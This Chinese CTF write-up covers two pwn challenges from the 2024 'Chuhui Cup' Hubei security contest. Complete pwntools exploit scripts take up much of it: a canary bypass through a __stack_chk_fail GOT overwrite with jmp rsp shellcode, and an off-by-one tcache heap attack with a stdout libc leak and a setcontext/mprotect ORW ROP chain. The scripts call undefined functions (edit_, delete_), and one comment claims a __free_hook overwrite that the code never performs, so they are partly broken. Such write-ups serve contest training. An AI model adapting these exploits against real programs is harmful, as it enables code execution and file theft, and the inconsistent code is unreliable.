2024年第九届“楚慧杯”湖北省网络与数据安全实践能力竞赛 pwn全解
字数 1218 2025-08-22 12:22:42

"楚慧杯"湖北省网络与数据安全实践能力竞赛PWN题解教学文档

1. Canary题目解析

1.1 程序保护机制分析

  • 开启了Canary保护
  • 存在栈溢出漏洞
  • 存在任意地址写漏洞

1.2 漏洞利用思路

  1. 绕过Canary保护

    • 通过修改__stack_chk_fail的GOT表项为leave; ret指令地址(0x4008ef)
    • 当Canary检查失败时,程序会跳转到修改后的地址执行
  2. 控制程序流

    • 利用jmp rsp指令(0x40081B)实现代码执行
    • 通过栈溢出覆盖返回地址为jmp rsp地址
  3. 执行Shellcode

    • 在栈上布置Shellcode,实现文件读取功能

1.3 关键利用步骤

  1. 发送初始payload触发漏洞
  2. 修改__stack_chk_fail的GOT表项
  3. 构造ROP链和Shellcode
  4. 触发Canary检查失败执行Shellcode

1.4 完整利用代码

from pwn import *

context.clear(arch='amd64', os='linux', log_level='debug')
filename = "./canary"
mx = process(filename)
elf = ELF(filename)

# 触发初始漏洞
rl("Say some old spells to start the journey\n")
payload = p64(0x400820)
s(payload)

# 修改__stack_chk_fail的GOT表项
rl("Tell me the location of the Eye of the Deep Sea\n")
s(b'a'*8 + p64(0x601038))  # __stack_chk_fail的GOT地址
rl("I have magic\n")
magic = 0x4008EF  # leave; ret地址
s(p64(magic))

# 构造Shellcode并执行
rl("Let's go!\n")
jmp_rsp = 0x40081B
shellcode = asm('''
    push 0x67616c66  # 'flag'
    mov rdi, rsp
    xor esi, esi
    push 2
    pop rax
    syscall  # open("flag", 0)
    
    mov rdi, rax
    mov rsi, rsp
    mov edx, 0x100
    xor eax, eax
    syscall  # read(fd, rsp, 0x100)
    
    mov edi, 1
    mov rsi, rsp
    push 1
    pop rax
    syscall  # write(1, buf, 0x100)
''')

payload = p64(0)*5 + p64(jmp_rsp) + shellcode
s(payload)
inter()

2. Ezheap题目解析

2.1 程序保护机制分析

  • 使用libc 2.27
  • 存在off-by-one漏洞
  • 没有show函数
  • 堆大小限制较少

2.2 漏洞利用思路

  1. 堆叠攻击

    • 通过两次堆叠将tcache和unsorted bin叠在同一堆块
    • 利用tcache bin attack修改末尾2字节为stdout地址
  2. 泄露libc地址

    • 通过stdout攻击泄露libc基地址
  3. 绕过沙箱

    • 使用mprotect+ROP技术绕过沙箱限制
    • 实现ORW(Open-Read-Write)读取flag

2.3 关键利用步骤

  1. 构造堆布局,利用off-by-one修改chunk size
  2. 触发堆叠,合并tcache和unsorted bin
  3. 通过gift功能泄露堆地址
  4. 修改tcache指针指向stdout
  5. 通过stdout攻击泄露libc地址
  6. 构造ROP链实现mprotect和文件操作

2.4 完整利用代码

from pwn import *

context.clear(arch='amd64', os='linux', log_level='debug')
filename = "./ezheap"
mx = process(filename)
elf = ELF(filename)
libc = elf.libc

# 堆操作函数
def menu(num): 
    rl("Your choice:\n")
    sl(str(num))

def add(index, size):
    menu(1)
    rl("index:\n")
    sl(str(index))
    rl("Size:")
    sl(str(size))

def edit(index, content):
    menu(2)
    rl("index:\n")
    sl(str(index))
    rl("context: \n")
    s(content)

def delete(index):
    menu(3)
    rl("index:\n")
    sl(str(index))

def gift(num):
    menu(4)
    rl("choose:\n")
    sl(str(num))

# 构造堆布局
add(0, 0x58)
add(1, 0x58)
add(2, 0x68)
edit(0, b'\x00'*0x58 + p8(0xd1))  # off-by-one修改chunk size
delete(1)
add(1, 0xc0)
delete(2)
add(3, 0x58)
add(4, 0x3f8)
add(5, 0x38)
add(6, 0x38)
add(7, 0x38)
edit(3, b'\x00'*0x58 + p8(0xc1))  # 再次修改chunk size
add(8, 0xf8)
delete(4)
delete(5)
add(9, 0x3f8)

# 泄露堆地址
gift(1)
heap_addr = int(mx.recv(14), 16)
log.info(f"Heap address: {hex(heap_addr)}")

# tcache bin attack修改stdout
edit(1, b'a'*0x58 + p64(0x71) + p64(heap_addr))
add(10, 0x68)
add(11, 0x68)
edit(11, b'\x60' + b'\xc7')  # 修改为stdout地址

# 泄露libc地址
add(12, 0x38)
add(13, 0x38)
payload = p64(0xfbad1800) + p64(0)*3 + b'\x00'
edit(13, payload)
libc_addr = l64() - 0x3ed8b0
libc.address = libc_addr
log.info(f"Libc base address: {hex(libc_addr)}")

# 准备ROP链
setcontext_53 = libc.sym['setcontext'] + 53
free_hook = libc.sym['__free_hook']
pop_rdi = 0x000000000002164f + libc_addr
pop_rsi = 0x0000000000023a6a + libc_addr
pop_rdx = 0x0000000000001b96 + libc_addr
open_addr = libc.sym['open']
read_addr = libc.sym['read']
write_addr = libc.sym['write']
mprotect_addr = libc.sym['mprotect']
flag_addr = heap_addr - 0x590

# 构造ORW ROP链
orw = b''
orw += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(open_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(write_addr)

# 修改free_hook为setcontext+53
edit_(9, orw)
rop_addr = heap_addr - 0x400

# 构造mprotect调用
p1 = b''
p1 = p1.ljust(0x68, b'\x00') + p64(heap_addr-0x7f0)
p1 = p1.ljust(0x70, b'\x00') + p64(0x2000)
p1 = p1.ljust(0x78, b'\x00') + p64(rop_addr)
p1 = p1.ljust(0x88, b'\x00') + p64(7)
p1 = p1.ljust(0xa0, b'\x00') + p64(rop_addr)
p1 = p1.ljust(0xa8, b'\x00') + p64(mprotect_addr)
edit_(8, p1)

# 触发漏洞
delete_(8)
inter()

3. 总结与技巧

3.1 Canary绕过技巧

  1. 修改__stack_chk_fail的GOT表项是绕过Canary的有效方法
  2. 结合jmp rsp可以执行栈上的Shellcode
  3. 注意利用程序中已有的gadget减少ROP链复杂度

3.2 堆利用技巧

  1. libc 2.27的tcache机制可以利用off-by-one漏洞进行攻击
  2. 堆叠技术可以合并不同bin的chunk,增加利用可能性
  3. stdout攻击是泄露libc地址的有效方法,特别是在没有show函数的情况下

3.3 沙箱绕过技巧

  1. mprotect+ROP是绕过沙箱的常用方法
  2. ORW(Open-Read-Write)是读取flag的标准方法
  3. 合理利用setcontext+53可以控制更多寄存器,方便构造ROP链

3.4 调试技巧

  1. 在关键步骤前使用pause()方便附加调试器
  2. 使用log.info()记录关键地址信息
  3. 动态调整payload以适应不同的运行环境
"楚慧杯"湖北省网络与数据安全实践能力竞赛PWN题解教学文档 1. Canary题目解析 1.1 程序保护机制分析 开启了Canary保护 存在栈溢出漏洞 存在任意地址写漏洞 1.2 漏洞利用思路 绕过Canary保护 : 通过修改 __stack_chk_fail 的GOT表项为 leave; ret 指令地址(0x4008ef) 当Canary检查失败时,程序会跳转到修改后的地址执行 控制程序流 : 利用 jmp rsp 指令(0x40081B)实现代码执行 通过栈溢出覆盖返回地址为 jmp rsp 地址 执行Shellcode : 在栈上布置Shellcode,实现文件读取功能 1.3 关键利用步骤 发送初始payload触发漏洞 修改 __stack_chk_fail 的GOT表项 构造ROP链和Shellcode 触发Canary检查失败执行Shellcode 1.4 完整利用代码 2. Ezheap题目解析 2.1 程序保护机制分析 使用libc 2.27 存在off-by-one漏洞 没有show函数 堆大小限制较少 2.2 漏洞利用思路 堆叠攻击 : 通过两次堆叠将tcache和unsorted bin叠在同一堆块 利用tcache bin attack修改末尾2字节为stdout地址 泄露libc地址 : 通过stdout攻击泄露libc基地址 绕过沙箱 : 使用mprotect+ROP技术绕过沙箱限制 实现ORW(Open-Read-Write)读取flag 2.3 关键利用步骤 构造堆布局,利用off-by-one修改chunk size 触发堆叠,合并tcache和unsorted bin 通过gift功能泄露堆地址 修改tcache指针指向stdout 通过stdout攻击泄露libc地址 构造ROP链实现mprotect和文件操作 2.4 完整利用代码 3. 总结与技巧 3.1 Canary绕过技巧 修改 __stack_chk_fail 的GOT表项是绕过Canary的有效方法 结合 jmp rsp 可以执行栈上的Shellcode 注意利用程序中已有的gadget减少ROP链复杂度 3.2 堆利用技巧 libc 2.27的tcache机制可以利用off-by-one漏洞进行攻击 堆叠技术可以合并不同bin的chunk,增加利用可能性 stdout攻击是泄露libc地址的有效方法,特别是在没有show函数的情况下 3.3 沙箱绕过技巧 mprotect+ROP是绕过沙箱的常用方法 ORW(Open-Read-Write)是读取flag的标准方法 合理利用setcontext+53可以控制更多寄存器,方便构造ROP链 3.4 调试技巧 在关键步骤前使用pause()方便附加调试器 使用log.info()记录关键地址信息 动态调整payload以适应不同的运行环境